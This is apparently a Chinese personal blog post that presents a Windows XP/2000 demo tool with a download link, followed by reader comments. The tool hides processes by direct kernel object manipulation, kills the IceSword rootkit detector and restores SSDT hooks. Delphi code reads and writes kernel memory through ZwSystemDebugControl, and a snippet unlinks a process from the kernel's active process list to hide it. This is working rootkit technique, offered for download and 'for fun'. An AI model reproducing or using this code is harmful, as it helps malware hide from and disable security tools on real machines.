avatar

XP/2000隐藏进程,无驱SSDT恢复,进程保护演示

程序说明:

支持XP/2000,通过SystemDebugControl,来实现物理内存的读写,

修改EPROCESS,ETHREAD达到各种效果.

Aspack压缩,欢迎F5.

最近一直对内核的东西特感兴趣,参照LiuYang给出的部分代码,写了个DEMO.

以前也写过类似的隐藏进程程序,但只是inlinehook而已,这次是DKOM,下次再试试SSDTHOOK.

*更新了一下DEMO,加入了杀ICESWORD功能(有2种方法);

Ver.1是原创D,嘿嘿(应该算得上是IS的漏洞吧),只使用了TerminateProcess就关掉了.

Ver.2是调用了TerminateJobObject.嗯?为什么要杀IS?好玩呗!

今天XPSP3正式中文版也出来了,貌似对内核部分有很大改动……OTZ

*经测试能正常工作于XP3下.

====================传说中的分割线====================

**可能是最后次更新了:

加入了定位SSDT,KernBase等功能.

增强了保护功能(由于ETHREAD处理的问题,暂时只支持单线程的程序 -_-|||)

加入了新的隐藏方式(也是改写内核数据,提示:Eprocess->Flags).

如果隐藏失败了,会尝试用新加入的一种隐藏方法(只支持XP).

优化了打开进程, 现在连Icesword也能隐藏了(其实上个版本就能,只是没加上去)

修复了上个版本的一个小BUG.(只能隐藏自身 -_-|||)

本来想写恢复SSDT HOOK的,可惜搞不定原始KiServiceTable的定位,所以放弃了,

只简单的判断了一下SSDT服务函数和被HOOK的数量.

====================传说中的分割线====================

***最后次更新:

在某论坛xacker的帮助下,终于搞明白了如何获得原始KiServiceTable.

完成了RING3下的SSDT恢复功能.

优化了protect代码,一般情况下能正常工作.(未对窗口做保护)

优化了HideProcess代码,现在支持隐藏/显示了.(删掉了另一种隐藏方式)

我的内核之旅就到这结束了吗?我也不知道……

Donwload

核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
function GetEProcess(PID: Cardinal): Cardinal;
var
HandleTable : TSystemHandleInformation;
i : DWord;
hProcess, CPID : THandle;
begin
Result := 0;
hProcess := OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, PID);
HandleTable := GetSystemHandleInfo;
CPID := GetCurrentProcessId;
for i := 0 to HandleTable.NumberOfHandles -1 do
if (HandleTable.Handles[i].UniqueProcessId = CPID) and
(HandleTable.Handles[i].HandleValue = hProcess) then
begin
Result := (Cardinal(HandleTable.Handles[i].Obj)); // EProcess virtual address
Break;
end;
SetLength(HandleTable.Handles, 0);
CloseHandle(hProcess);
end;

function ReadVirtualMemory(VirtualAddress: Cardinal;
Buffer: Pointer; BufferSize: Cardinal): boolean;
const SysDbgCopyMemoryChunks_0 = 8;
var
QueryBuff : TMemoryHunks;
i: DWord;
begin
QueryBuff.Address := VirtualAddress;
QueryBuff.Data := Buffer;
QueryBuff.Length := BufferSize;

ZwSystemDebugControl(SysDbgCopyMemoryChunks_0, @QueryBuff,
SizeOf(TMemoryHunks), //should be 0x0C
nil, 0, i);

Result := i>0;
end;

function WriteVirtualMemory(VirtualAddress: Cardinal;
Buffer: Pointer; BufferSize: Cardinal): boolean;
const SysDbgCopyMemoryChunks_1 = 9;
var
QueryBuff : TMemoryHunks;
i: DWord;
begin
QueryBuff.Address := VirtualAddress;
QueryBuff.Data := Buffer;
QueryBuff.Length := BufferSize;

ZwSystemDebugControl(SysDbgCopyMemoryChunks_1, @QueryBuff,
SizeOf(TMemoryHunks), //should be 0x0C
nil, 0, i);

Result := i>0;
end;

sample code for remove APL in XP:
ReadVirtualMemory(EProcess+$88, @FLink, 4);
ReadVirtualMemory(EProcess+$8C, @BLink, 4);
WriteVirtualMemory(FLink+4, @BLink, 4);
WriteVirtualMemory(BLink, @FLink, 4);
Comments ( 18 ) Trackbacks ( 0 ) Leave a Reply
  1. avatar
  2. avatar
    好厉害的样子.. 只是.. 现在还有人在用冰刃?
  3. avatar
    @轻蔑 : 这不是废话么!我用易语言随便写个程序,金山都TMD给我报毒,这类的程序能不报毒吗?自己不做就别说人家,支持鸟哥的说!
  4. avatar
  5. avatar
    我去...这算不算rootkit?
  6. avatar
  7. avatar
    找下是否有杀毒软件HOOK 了 systemdebugcontrol
  8. avatar
  9. avatar
    已经获得自身EProcess了,ReadVirtualMemory无效,什么原因?读写之前需要设置物理内存可写吗?
  10. avatar
    谢谢分享。
  11. avatar
    的确有很多了...参考那些就OK了..干吗要公开完整代码捏?

    我已经把核心代码发出来了嘛...
  12. avatar
    嗯....同感
  13. avatar
    加油吧~~嘎嘎
  14. avatar
    期待源码公报吧。现在ssdt很多源码了,你还吝惜
  15. avatar
    还是用vc编的容易理解,windows内核本身就是用c编写
  16. avatar
    真的不错,偶也看内核很久了。可惜迟迟未动手做,现在要大干一番了。呵呵
  17. avatar
    自己不懂,还乱喷.瑞星可能放过对物理内存的操作吗?

    那他的SSDTHOOK怎么办?INLINEHOOK怎么办?

    建议你回老家结婚去.
  18. avatar
    没什么用,瑞星会报警。真垃圾!一点技术含量也没有!
  19.                    
  1. No trackbacks yet.

    目前尚无任何 trackbacks 和 pingbacks.

    トラックバックはまだありません。

  • ☆*:.。. o(≧▽≦)o .。.:*☆
  • _(:з」∠)_
  • ♪(´ε` )
  • ψ(`∇´)ψ
  • (-_-#)
  • (=´∀`)人(´∀`=)
  • \(//∇//)\
  • ♪(*^^)o∀*∀o(^^*)♪
  • (((o(*゚▽゚*)o)))
  • (´・_・`)
  • σ(^_^;)
  • ( *`ω´)
  • (ノ`Д´)ノ
  • (( _ _ ))..zzzZZ
  • ( ̄▽ ̄)
  • ヽ(`Д´#)ノ
  • ((((;゚Д゚)))))))
  • (>_<)
  • (T_T)
  • ( T_T)\(^-^ )
  • ε=ε=ε=ε=ε=ε=┌(; ̄◇ ̄)┘